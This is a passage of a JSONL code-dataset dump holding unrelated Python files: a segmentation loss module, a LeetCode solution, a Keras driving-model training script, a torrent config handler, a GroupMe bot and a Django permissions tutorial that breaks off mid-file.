binary_transform(mask, label):\n return mask[:, int(label.item()), :, :]\n\n def forward(self, agg_input):\n \"\"\"\n take in the feature map and make predictions\n :param agg_input: input data\n :return: loss averaged over instances\n \"\"\"\n feature_map = agg_input['feature_map']\n mask = agg_input['seg']\n feature_map = feature_map.unsqueeze(0)\n predicted_map = self.fc1(feature_map)\n predicted_map = F.interpolate(predicted_map, size=(mask.shape[0], mask.shape[1]), mode='nearest')\n mask = mask.unsqueeze(0)\n weight = torch.ones(self.args.num_base_class + 1).cuda()\n weight[-1] = 0.1\n\n loss = F.cross_entropy(predicted_map, mask.long(), weight=weight)\n return loss\n","sub_path":"model/component/seg.py","file_name":"seg.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"210138305","text":"#!/usr/bin/env python3\n\nfrom typing import List\n\ndirections = [[-1, 0], [0, 1], [1, 0], [0, -1]]\nSOLIC_BRICK = 2\n\n\nclass Solution:\n\n def hitBricks(self, grid: List[List[int]],\n hits: List[List[int]]) -> List[int]:\n n = len(grid)\n m = len(grid[0])\n\n if not len(hits):\n return []\n\n for x, y in hits:\n grid[x][y] *= -1\n\n def is_top(x: int) -> bool:\n return x == -1\n\n def is_solic_brick(x: int, y: int) -> bool:\n if not in_grid(x, y):\n return False\n\n return grid[x][y] == SOLIC_BRICK\n\n def in_grid(x: int, y: int) -> bool:\n if 0 <= x < n and 0 <= y < m:\n return True\n\n return False\n\n def is_save(hit: List[int]) -> bool:\n for i in range(4):\n x = hit[0] + directions[i][0]\n y = hit[1] + directions[i][1]\n if is_top(x) or is_solic_brick(x, y):\n return True\n\n return False\n\n def coloring(start: List[int]) -> int:\n if grid[start[0]][start[1]] != 1:\n return 0\n\n count = 1\n grid[start[0]][start[1]] = SOLIC_BRICK\n queue = [start]\n\n while queue:\n brick = queue.pop(0)\n for i in range(4):\n x = brick[0] + directions[i][0]\n y = brick[1] + directions[i][1]\n if in_grid(x, y) and grid[x][y] == 1:\n grid[x][y] = SOLIC_BRICK\n count += 1\n queue.append([x, y])\n\n return count\n\n for j in range(m):\n coloring([0, j])\n\n res = []\n hits.reverse()\n for hit in hits:\n if grid[hit[0]][hit[1]] == 0:\n res.append(0)\n else:\n grid[hit[0]][hit[1]] = 1\n if is_save(hit):\n res.append(max(coloring(hit) - 1, 0))\n else:\n res.append(0)\n\n res.reverse()\n return res\n","sub_path":"803-bricks-falling-when-hit/bricks_falling_when_hit.py","file_name":"bricks_falling_when_hit.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"271106432","text":"import os\nimport csv\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom sklearn.model_selection import train_test_split\n\n# Defining generator for training/testing for memory optmization\ndef generator(samples, batch_size=32):\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n sklearn.utils.shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset+batch_size]\n\n images = []\n angles = []\n for batch_sample in batch_samples:\n # In windows escape sign is needed for backslash\n # Captures forward/backward/curve path\n name = batch_sample[0].split('\\\\')[-3] + '/' + batch_sample[0].split('\\\\')[-2] + '/' + batch_sample[0].split('\\\\')[-1]\n \n center_image = plt.imread(name)\n center_angle = float(batch_sample[3])\n images.append(center_image)\n angles.append(center_angle)\n \n # Augmenting the data\n images.append(cv2.flip(center_image,1))\n angles.append(center_angle*-1.0)\n \n # Left images processing by applying 0.25 additive scalar on the steering angle\n # Captures forward/backward/curve path\n left_name = batch_sample[1].split('\\\\')[-3] + '/' + batch_sample[1].split('\\\\')[-2] + '/' + batch_sample[1].split('\\\\')[-1]\n left_image = plt.imread(left_name)\n left_angle = float(batch_sample[3]) + 0.25\n images.append(left_image)\n angles.append(left_angle )\n\n # Right images processing by applying 0.25 additive scalar on the steering angle\n # Captures forward/backward/curve path\n right_name = batch_sample[2].split('\\\\')[-3] + '/' + batch_sample[2].split('\\\\')[-2] + '/' + batch_sample[2].split('\\\\')[-1]\n \n right_image = plt.imread(right_name)\n right_angle = float(batch_sample[3]) - 0.25\n images.append(right_image)\n angles.append(right_angle)\n # Augmenting the data\n #images.append(cv2.flip(center_image,1))\n #angles.append(center_angle*-1.0)\n \n # trim image to only see section with road\n X_train = np.array(images)\n y_train = np.array(angles)\n yield sklearn.utils.shuffle(X_train, y_train)\n\n# Opening the log files and appending the paths to the data and the steering angles\nsamples = []\nwith open('forward/driving_log.csv') as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n samples.append(line)\nwith open('backward/driving_log.csv') as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n samples.append(line)\nwith open('curve/driving_log.csv') as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n samples.append(line)\n \nprint('Sample size')\nprint(len(samples)) \n\ntrain_samples, validation_samples = train_test_split(samples, test_size=0.2)\ntrain_generator = generator(train_samples, batch_size=32)\nvalidation_generator = generator(validation_samples, batch_size=32)\n\n\n\n\n# Defining the model\n\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Cropping2D, ELU\nfrom keras.layers import Conv2D\nfrom keras.layers import MaxPooling2D, Dropout\nfrom keras.models import Model\nfrom keras.layers.convolutional import Convolution2D\nfrom keras.callbacks import ModelCheckpoint\n\nmodel = Sequential()\n\n# Lambda layer\n# Normalizing the inputs\nmodel.add(Lambda(lambda x: (x / 255.0) - 0.5, input_shape=(160,320,3)))\n# Cropping the images to remove the unnecessary information.\n# Cropping 70 pixels from the top of the image and cropping 25 pixels from the bottom of the image\nmodel.add(Cropping2D(cropping=((70,25),(0,0))))\n\nmodel.add(Convolution2D(16, 8, 8, subsample=(4, 4), border_mode=\"same\",activation='elu'))\nmodel.add(Convolution2D(32, 5, 5, subsample=(2, 2), border_mode=\"same\",activation='elu'))\nmodel.add(Convolution2D(64, 5, 5, subsample=(2, 2), border_mode=\"same\"))\nmodel.add(Flatten())\nmodel.add(Dropout(.2))\nmodel.add(ELU())\nmodel.add(Dense(512))\nmodel.add(Dropout(.5))\nmodel.add(ELU())\nmodel.add(Dense(1))\n\n# Printing model summary\nmodel.summary()\n\n# Model compilation\nmodel.compile(loss='mse', optimizer='adam')\n\n# Establishing checkpoint rules\ncheckpoint = ModelCheckpoint('model-{epoch:03d}.h5', monitor='val_loss', verbose=1, save_best_only=False, mode='auto')\n\n# Model fitting and saving the object to plot model performance over epochs\nhistory_object = model.fit_generator(train_generator, samples_per_epoch =\n len(train_samples), validation_data = \n validation_generator,\n nb_val_samples = len(validation_samples), \n nb_epoch=3, \n callbacks=[checkpoint], \n verbose=1)\n\n# Printing the loss across the epochs\n\n# Printing the keys\nprint(history_object.history.keys())\nfig = plt.figure(figsize=(6, 6))\nplt.plot(history_object.history['loss'])\nplt.plot(history_object.history['val_loss'])\nplt.title('model mean squared error loss')\nplt.ylabel('mean squared error loss')\nplt.xlabel('epoch')\nplt.legend(['training set', 'validation set'], loc='lewer right')\nplt.show()\nfig.savefig('images/lossplot.jpg')\nplt.close(fig)\n\n\n\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"612880349","text":"import time\nimport os\nimport re\nimport matlab.engine\n\ndef create_fooof_main(data_path_path):\n before = time.time()\n eng = matlab.engine.start_matlab()\n\n print('Adding Paths....')\n eng.loadPath(nargout = 0) # Need this loadPath file in your MATLAB directory\n print('Ignore the Warnings.')\n print('Will create figures in the background, you can continue to do other work')\n print('\\n' * 2)\n dataPath = data_path_path # This is where all your data should be store, this contains folders with patient numbers in which the smr files are contained\n\n names = [] #Finding the directory, locating all the smr files and saving their directories into a list\n for root, dirs, files in os.walk(dataPath):\n for file in files:\n if file.endswith('.smr'):\n names.append(os.path.join(root, file)) #stored the directory with the name.\n patients=[]\n oldNumber = 0;\n findPatientNumber = re.compile(r'/Data/(\\d\\d\\d\\d)/')\n for x in names:\n number = findPatientNumber.search(x)\n if number:\n number = int(number.group(1))\n if number != oldNumber: #Making sure to not add the same patient twice, and updating the matlab save file directory, you can add any patient you want to skip over here\n patients.append(number) #updating the patients we have\n #Going to update the matlab file to change the save location\n searchPath = dataPath + '/%d' %(number) + '/' #This now points to the patients folder which contains the smr files\n fileName = re.compile(r'%s(\\d\\d\\d\\d-\\d\\d\\d\\d)([ABCDEFabcdef])?' %(searchPath));\n for y in names:\n figureCreate = fileName.search(y) #Finds the first smr file to work with\n if figureCreate == None:\n continue\n figureName = figureCreate.group(1,2)\n if figureName[0] != None: #Only runs code if the figure is found, or else we get an error\n if figureName[1] != None:\n searchName = figureName[0] + figureName[1]\n else:\n searchName = figureName[0]\n searchName = str(searchName)\n print(searchName) #Patient file name\n eng.smr_conversion_auto_FOOOF(searchName, 10, 1000, searchPath , searchPath , nargout = 0)\n print('Finished creating figures for patient, ' + str(number))\n oldNumber = number #Making sure to not add the same patient twice\n after = time.time()\n print('Time taken:' + str(after-before))\n print('Done creating Fooof Files!')\n","sub_path":"simplifiedVersion/create_fooof.py","file_name":"create_fooof.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"115932078","text":"#coding=gbk\nimport struct\nimport socket\n\n\nclass x_server_header(object) :\n\n '''\n 目前先通过类的形式进行变量的空间管理,后续可进行配置项的动态加载。\n 头结构如下\n unit16_t id, //id 1\n unit16_t version, //版本号 1\n unit32_t log_id, //由apche产生的logid,贯穿一次请求的所有网络交互 111\n char provider[16], //客户端标实,如\"client\" \n uint32_t magic_num //特殊标示,一个包的起始 0xffee7799\n unit32_t reserved; //保留\n unit32_t body_len; //head后请求的总长度,也就是protobuf序列号后的长度\n '''\n \n def __init__(self,id=1,version=1,log_id=111,provider='client',magic_num=socket.htonl(0xffee7799),reserved=0):\n '''创建实例的时候需要传入body_len这个变量'''\n self.id=id\n self.version=version\n self.log_id=log_id\n self.provider=provider\n self.magic_num=magic_num\n self.reserved=reserved\n\n def package_header(self,body_len):\n '''先转成网络序,再进行struct'''\n self.id = socket.htons(self.id)\n self.version = socket.htons(self.version)\n self.log_id = socket.htonl(self.log_id)\n self.reserved = socket.htons(self.reserved)\n self.body_len = socket.htonl(body_len)\n\n #序列化,返回\n return struct.pack(\"!HHI16sIII\",self.id,self.version,self.log_id,\\\n self.provider,self.magic_num,self.reserved,self.body_len)\n\n def unpackage_header(self,head):\n '''反解收到的header,返回dict,供调试信息用'''\n (self.id,self.version,self.log_id,self.provider,self.magic_num,self.reserved,self.body_len)=struct.unpack(\"!HHI16sIII\",head)\n self.id = socket.ntohs(self.id)\n self.version = socket.ntohs(self.version)\n self.log_id = socket.ntohl(self.log_id)\n self.reserved = socket.ntohs(self.reserved)\n self.body_len = socket.ntohl(self.body_len)\n\n self.result = {}\n self.result[\"id\"]=self.id\n self.result[\"version\"]=self.version\n self.result[\"log_id\"]=self.log_id\n self.result[\"provider\"]=self.provider\n self.result[\"magic_num\"]=self.magic_num\n self.result[\"reserved\"]=self.reserved\n self.result[\"body_len\"]=self.body_len\n return self.result\n \n","sub_path":"mock_server_tool/mock_lib/header.py","file_name":"header.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"25052403","text":"from datetime import datetime\nfrom util.groupme.bot.bot import GMeBot\nfrom util.groupme.command.command import Command\nfrom util.sql.database import Database\n\n\nclass ServerBot(GMeBot):\n def __init__(self, bot_id, group_id):\n GMeBot.__init__(self, bot_id, group_id)\n self.db = Database('Finance', user='local', password='', host='127.0.0.1', port='3306')\n\n self.add_command('!receipt', self.add_receipt)\n self.add_command('!time', self.say_time)\n\n def add_receipt(self, text):\n cmd = Command(datetime.now(), None, text=text)\n query = \"\"\"INSERT INTO Receipts (RECEIPT_GROUP, RECEIPT_AMOUNT, RECEIPT_ITEM) VALUES (%s, %s, %s);\"\"\"\n self.db.query_set(query=query, params=('1', cmd.value, cmd.other))\n self.db.commit()\n\n def say_time(self, text):\n text = datetime.now()\n self.say(text)\n\n\nif __name__ == '__main__':\n ServerBot(bot_id=123, group_id=123).add_receipt('!receipt 7.37 lunch')","sub_path":"util/groupme/bot/serverbot.py","file_name":"serverbot.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"205443529","text":"\nfrom nltk.app.rdparser_app import RecursiveDescentApp\n\ndef demo():\n \"\"\"\n Demo decaf grammar\n \"\"\"\n from nltk import CFG\n decaf_func_grammar = \"\"\"\n F -> 'func' ID '(' PARAMS ')' TYPE '{' BODY '}'\n ID -> 'a' | 'b' | 'c'\n PARAMS -> HAS_PARAMS | \n HAS_PARAMS -> ID TYPE ',' HAS_PARAMS | ID TYPE\n TYPE -> 'int' | 'char'\n BODY -> 'return' '(' ID ')' ';'\n \"\"\"\n grammar = CFG.fromstring(decaf_func_grammar)\n text = \"\"\"\n func a ( b int , c int ) int { return ( b ) ; }\n \"\"\".split()\n RecursiveDescentApp(grammar, text).mainloop()\n \nif __name__ == '__main__': demo()\n\n","sub_path":"assets/demos/nltk/decaf_demo.py","file_name":"decaf_demo.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"574352755","text":"import sys\r\nimport os\r\n\r\nfrom LMG.Utility.configreader import ConfigReader\r\nfrom LMG.Utility.constants import * # pylint: disable-msg = W0611,W0401\r\n\r\n\"\"\"\r\nHandles torrent config\r\nTODO:\r\n - tracker list\r\n\"\"\"\r\n\r\n################################################################\r\n\r\nclass TorrentConfig(ConfigReader):\r\n \"\"\"\r\n Handles reading and writing information about this torrent\r\n to the torrent.list file.\r\n \"\"\"\r\n def __init__(self, torrent):\r\n self.torrent = torrent\r\n \r\n basepath = os.path.join(utility.getConfigPath(), \"torrentinfo\")\r\n\r\n filename = self.torrent.infohash + \".info\"\r\n configpath = os.path.join(basepath, filename)\r\n ConfigReader.__init__(self, configpath, \"TorrentInfo\")\r\n\r\n self.writeflags = { WRITEFLAG_SRC: False, \r\n WRITEFLAG_BASICINFO: False, \r\n WRITEFLAG_STATUS: False, \r\n WRITEFLAG_PRIO: False, \r\n WRITEFLAG_FILEPRIO: False, \r\n WRITEFLAG_FILEPROGRESS: False,\r\n WRITEFLAG_PROGRESS: False, \r\n WRITEFLAG_UPLOADPARAMS: False, \r\n WRITEFLAG_NAMEPARAMS: False, \r\n WRITEFLAG_SEEDTIME: False }\r\n \r\n def writeAll(self):\r\n \"\"\"\r\n Write out all config values for the torrent\r\n \"\"\" \r\n overallchange = False\r\n \r\n if self.writeSrc(False):\r\n overallchange = True\r\n if self.writeBasicInfo(False):\r\n overallchange = True\r\n if self.writeStatus(False):\r\n overallchange = True\r\n if self.writePriority(False):\r\n overallchange = True\r\n if self.writeFilePriorities(False):\r\n overallchange = True\r\n if self.writeProgress(False):\r\n overallchange = True\r\n if self.writeUploadParams(False):\r\n overallchange = True\r\n if self.writeNameParams(False):\r\n overallchange = True\r\n if self.writeSeedTime(False):\r\n overallchange = True\r\n if self.writeFileProgress(False):\r\n overallchange = True\r\n\r\n if overallchange:\r\n self.Flush()\r\n \r\n def writeSrc(self, flush = True):\r\n \"\"\"\r\n Write out information on the source file for the torrentthe\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_SRC]:\r\n return\r\n self.writeflags[WRITEFLAG_SRC] = True\r\n \r\n torrent = self.torrent\r\n overallchange = False\r\n\r\n # Write torrent information\r\n if torrent.HasMetadata():\r\n filename = os.path.split(torrent.src)[1]\r\n else:\r\n filename = torrent.getMagnetLink()\r\n index = str(self.torrent.listindex)\r\n if utility.torrentconfig.Write(index, \"\\\"\" + filename + \"\\\"\"):\r\n overallchange = True\r\n \r\n if overallchange and flush:\r\n utility.torrentconfig.Flush()\r\n \r\n self.writeflags[WRITEFLAG_SRC] = False\r\n return overallchange\r\n \r\n def writeBasicInfo(self, flush = True):\r\n \"\"\"\r\n Write out basic information about the torrent\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_BASICINFO]:\r\n return\r\n self.writeflags[WRITEFLAG_BASICINFO] = True\r\n \r\n torrent = self.torrent\r\n \r\n overallchange = False\r\n \r\n if self.Write(\"dest\", torrent.files.dest):\r\n overallchange = True\r\n\r\n if self.Write(\"label\", torrent.files.activelabel):\r\n overallchange = True\r\n\r\n if self.Write(\"addedtime\", int(torrent.addedTime)):\r\n overallchange = True\r\n\r\n if self.Write(\"completedtime\", int(torrent.completedTime)):\r\n overallchange = True\r\n\r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_BASICINFO] = False\r\n return overallchange\r\n \r\n def writeNameParams(self, flush = True):\r\n \"\"\"\r\n Write out the torrent's name\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_NAMEPARAMS]:\r\n return\r\n self.writeflags[WRITEFLAG_NAMEPARAMS] = True\r\n \r\n torrent = self.torrent\r\n overallchange = False\r\n \r\n # Write settings for name if available\r\n title = torrent.title\r\n if title is not None:\r\n if title == \"\":\r\n title = \" \"\r\n if self.Write(\"title\", title):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"title\"):\r\n overallchange = True\r\n\r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_NAMEPARAMS] = False\r\n return overallchange\r\n\r\n def writeUploadParams(self, flush = True):\r\n \"\"\"\r\n Write out the torrent's upload settings\r\n \"\"\" \r\n if self.writeflags[WRITEFLAG_UPLOADPARAMS]:\r\n return\r\n self.writeflags[WRITEFLAG_UPLOADPARAMS] = True\r\n \r\n torrent = self.torrent\r\n \r\n overallchange = False\r\n \r\n # Write settings for local upload rate if available\r\n localmax = torrent.connection.getLocalRate(\"up\")\r\n if localmax != 0:\r\n if self.Write(\"localmax\", localmax):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"localmax\"):\r\n overallchange = True\r\n\r\n localmaxdown = torrent.connection.getLocalRate(\"down\")\r\n if localmaxdown != 0:\r\n if self.Write(\"localmaxdown\", localmaxdown):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"localmaxdown\"):\r\n overallchange = True\r\n\r\n maxupload = torrent.connection.getMaxUpload(localonly = True)\r\n if maxupload is not None:\r\n if self.Write(\"maxupload\", maxupload):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"maxupload\"):\r\n overallchange = True\r\n\r\n if self.Write(\"announces\", torrent.trackerlist, \"bencode-list\"):\r\n overallchange = True\r\n #announces = torrent.trackerlist\r\n #if announces:\r\n # if self.Write(\"announces\", announces, \"bencode-list\"):\r\n # overallchange = True\r\n #else:\r\n # if self.DeleteEntry(\"announces\"):\r\n # overallchange = True\r\n\r\n for param in torrent.connection.seedoptions:\r\n value = torrent.connection.getSeedOption(param, localonly = True)\r\n if value is not None:\r\n if self.Write(param, value):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(param):\r\n overallchange = True\r\n \r\n if not torrent.connection.timeout:\r\n if self.Write(\"timeout\", \"0\"):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"timeout\"):\r\n overallchange = True\r\n\r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_UPLOADPARAMS] = False\r\n return overallchange\r\n \r\n def writeProgress(self, flush = True):\r\n \"\"\"\r\n Write out the torrent's progress\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_PROGRESS]:\r\n return\r\n self.writeflags[WRITEFLAG_PROGRESS] = True\r\n \r\n torrent = self.torrent\r\n overallchange = False\r\n \r\n if self.Write(\"downsize\", ('%.0f' % torrent.files.downsize)):\r\n overallchange = True\r\n if self.Write(\"upsize\", ('%.0f' % torrent.files.upsize)):\r\n overallchange = True\r\n if self.Write(\"sizedone\", ('%.1f' % torrent.files.sizeDone)):\r\n overallchange = True\r\n if self.Write(\"progress\", ('%.1f' % torrent.files.progress)):\r\n overallchange = True\r\n \r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_PROGRESS] = False\r\n return overallchange\r\n \r\n def writeStatus(self, flush = True):\r\n \"\"\"\r\n Write out the torrent's status\r\n \"\"\" \r\n if self.writeflags[WRITEFLAG_STATUS]:\r\n return\r\n self.writeflags[WRITEFLAG_STATUS] = True\r\n\r\n torrent = self.torrent\r\n overallchange = False\r\n \r\n value = torrent.status.value\r\n oldvalue = torrent.actions.oldstatus\r\n if oldvalue is None:\r\n oldvalue = 0\r\n\r\n if (value == STATUS_FINISHED\r\n or (value == STATUS_HASHCHECK and oldvalue == STATUS_FINISHED)):\r\n status = 2 # Torrent is finished\r\n elif value == STATUS_STOP:\r\n status = 1 # Torrent is stopped\r\n else:\r\n status = 0 # Torrent is queued\r\n \r\n if status != 0:\r\n if self.Write(\"statusvalue\", status):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"statusvalue\"):\r\n overallchange = True\r\n \r\n if torrent.status.completed:\r\n if self.Write(\"complete\", \"1\"):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"complete\"):\r\n overallchange = True\r\n\r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_STATUS] = False\r\n return overallchange\r\n \r\n def writePriority(self, flush = True):\r\n \"\"\"\r\n Write out the torrent's priority\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_PRIO]:\r\n return\r\n self.writeflags[WRITEFLAG_PRIO] = True\r\n \r\n torrent = self.torrent\r\n overallchange = False\r\n \r\n if self.Write(\"prio\", torrent.prio):\r\n overallchange = True\r\n\r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_PRIO] = False\r\n return overallchange\r\n \r\n def writeSeedTime(self, flush = True):\r\n \"\"\"\r\n Write out how long the torreent has been seeding for\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_SEEDTIME]:\r\n return\r\n self.writeflags[WRITEFLAG_SEEDTIME] = True\r\n \r\n torrent = self.torrent\r\n overallchange = False\r\n \r\n if torrent.connection.seedingtime > 0:\r\n if self.Write(\"seedtime\", int(torrent.connection.seedingtime)):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"seedtime\"):\r\n overallchange = True\r\n\r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_SEEDTIME] = False\r\n return overallchange\r\n \r\n def writeFilePriorities(self, flush = True):\r\n \"\"\"\r\n Write out the priorities for files within the torrent\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_FILEPRIO]:\r\n return\r\n self.writeflags[WRITEFLAG_FILEPRIO] = True\r\n \r\n torrent = self.torrent\r\n overallchange = False\r\n \r\n if not self.torrent.files.isFile():\r\n notdefault, text = torrent.files.getFilePrioritiesAsString()\r\n if notdefault:\r\n if self.Write(\"fileprio\", text):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"fileprio\"):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"fileprio\"):\r\n overallchange = True\r\n \r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_FILEPRIO] = False\r\n return overallchange\r\n \r\n def writeFileProgress(self, flush = True):\r\n \"\"\"\r\n Write out the progress for individual files within a torrent\r\n \"\"\"\r\n if self.writeflags[WRITEFLAG_FILEPROGRESS]:\r\n return\r\n self.writeflags[WRITEFLAG_FILEPROGRESS] = True\r\n \r\n torrent = self.torrent\r\n \r\n overallchange = False\r\n \r\n if not torrent.files.isFile():\r\n if self.Write(\"fileprogress\", torrent.files.fileprogress, \"bencode-list\"):\r\n overallchange = True\r\n else:\r\n if self.DeleteEntry(\"fileprogress\"):\r\n overallchange = True\r\n \r\n if overallchange and flush:\r\n self.Flush()\r\n \r\n self.writeflags[WRITEFLAG_FILEPROGRESS] = False\r\n return overallchange\r\n \r\n def readAll(self):\r\n \"\"\"\r\n Read a torrent's config information\r\n \"\"\"\r\n torrent = self.torrent\r\n \r\n # Download size\r\n downsize = self.Read(\"downsize\")\r\n if downsize != \"\":\r\n try:\r\n torrent.files.downsize = float(downsize)\r\n except:\r\n pass\r\n \r\n # Upload size\r\n upsize = self.Read(\"upsize\")\r\n if upsize != \"\":\r\n try:\r\n torrent.files.upsize = float(upsize)\r\n except:\r\n pass\r\n # Done size\r\n sizedone = self.Read(\"sizedone\")\r\n if sizedone != \"\":\r\n try:\r\n torrent.files.sizeDone = float(sizedone)\r\n except:\r\n pass\r\n \r\n # Status\r\n # Format from earlier 2.7.0 builds:\r\n status = self.Read(\"status\")\r\n if status == \"completed\":\r\n torrent.status.completed = True\r\n elif status == \"pause\":\r\n torrent.status.value = STATUS_STOP\r\n\r\n status = self.Read(\"statusvalue\")\r\n if status == \"2\":\r\n torrent.status.value = STATUS_FINISHED\r\n elif status == \"1\":\r\n torrent.status.value = STATUS_STOP\r\n \r\n complete = self.Read(\"complete\", \"boolean\")\r\n if complete:\r\n torrent.status.completed = True\r\n \r\n # Priority\r\n prio = self.Read(\"prio\")\r\n if prio != \"\":\r\n try:\r\n torrent.prio = int(prio)\r\n except:\r\n pass\r\n\r\n # File priorities\r\n fileprio = str(self.Read(\"fileprio\"))\r\n if fileprio != \"\":\r\n filepriorities = fileprio.split(\",\")\r\n \r\n # Just in case there's a mismatch in sizes,\r\n # don't try to get more values than exist\r\n # in the source or destination arrays\r\n len1 = len(filepriorities)\r\n len2 = len(torrent.files.filepriorities)\r\n rangeEnd = min(len1, len2)\r\n for i in range(rangeEnd):\r\n try:\r\n torrent.files.filepriorities[i] = int(filepriorities[i])\r\n except:\r\n pass\r\n\r\n # File progress\r\n fileprogress = self.Read(\"fileprogress\", \"bencode-list\")\r\n if fileprogress:\r\n for i in range(len(fileprogress)):\r\n try:\r\n progress = int(fileprogress[i])\r\n except:\r\n progress = -1\r\n fileprogress[i] = progress\r\n self.torrent.files.fileprogress = fileprogress\r\n\r\n #name\r\n title = self.Read(\"title\")\r\n if title != \"\":\r\n torrent.title = title\r\n\r\n # Label\r\n label = self.Read(\"label\")\r\n if label != \"\":\r\n torrent.files.activelabel = label\r\n\r\n # Added On\r\n addedTime = self.Read(\"addedtime\", \"int\")\r\n if addedTime != 0:\r\n torrent.addedTime = addedTime\r\n\r\n # Completed On\r\n completedTime = self.Read(\"completedtime\", \"int\")\r\n if completedTime != 0:\r\n torrent.completedTime = completedTime\r\n\r\n # Progress\r\n if torrent.status.completed or torrent.status.value == STATUS_FINISHED:\r\n torrent.files.progress = 100.0\r\n else:\r\n progress = self.Read(\"progress\")\r\n if progress != \"\":\r\n try:\r\n torrent.files.progress = float(progress)\r\n except:\r\n pass\r\n \r\n # Local upload options\r\n localmax = self.Read(\"localmax\", \"int\")\r\n if localmax != 0:\r\n torrent.connection.maxlocalrate['up'] = localmax\r\n\r\n localmaxdown = self.Read(\"localmaxdown\", \"int\")\r\n if localmaxdown != 0:\r\n torrent.connection.maxlocalrate['down'] = localmaxdown\r\n\r\n maxupload = self.Read(\"maxupload\", \"int\")\r\n torrent.connection.setMaxUpload(maxupload)\r\n\r\n for param in torrent.connection.seedoptions:\r\n value = self.Read(param)\r\n if value != \"\":\r\n torrent.connection.seedoptions[param] = value\r\n \r\n timeout = self.Read(\"timeout\")\r\n if timeout == \"0\":\r\n torrent.connection.timeout = False\r\n \r\n seedtime = self.Read(\"seedtime\")\r\n if seedtime != \"\":\r\n try:\r\n torrent.connection.seedingtime = int(seedtime)\r\n torrent.connection.seedingtimeleft -= torrent.connection.seedingtime\r\n except:\r\n pass\r\n\r\n if self.Exists(\"announces\"):\r\n torrent.trackerlist = self.Read(\"announces\", \"bencode-list\")\r\n torrent.updatetrackerlist() \r\n \r\n","sub_path":"LMG/Torrent/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":17553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"312455659","text":"# -*- coding:utf-8 -*-\n\nfrom django.shortcuts import render\nfrom aula7.forms import LoginForm\nfrom django.contrib.auth import login, logout\nfrom django.http.response import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.models import User, Permission, Group\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom datetime import date\nfrom aula7.models import UserProfile\n\ndef index(request):\n \n #mock\n if not User.objects.filter(username='rafa.cassau'):\n\n user = User.objects.create_user(\n username='rafa.cassau',\n email='rafa_cassau@msn.com',\n password='111111',\n first_name='Rafael',\n last_name='Cassau'\n )\n \n # Modelo de relacionamento com a entidade User para definir mais atributos para o usuário\n # no Django 1.4\n UserProfile.objects.create(user=user, birthday=date(1989, 3, 20))\n \n \n # Recupera usuário especifico\n user = User.objects.filter(username='rafa.cassau')[0]\n \n # Recupera todas as permissões do usuário\n user.user_permissions.all()\n \n # Recupera a permissão [add_contact]\n permission = Permission.objects.get(id=31)\n \n # Adiciona a permissão geral [add_contact] ao usuário\n user.user_permissions.add(permission)\n \n # Recupera todas as permissões do usuário\n user.user_permissions.all()\n \n # Recupera todos os grupos de permissões\n groups = Group.objects.all()\n \n # Cria um grupo chamado [administradores]\n group = Group.objects.create(name='administradores')\n \n # Recupera todos os grupos de permissões\n groups = Group.objects.all()\n \n # Recupera todas as permissões do grupo administradores \n group.permissions.all()\n \n # Recupera a permissão geral [add_contact]\n permission = Permission.objects.get(id=31)\n \n # Adiciona ao grupo [administradores] a permissão 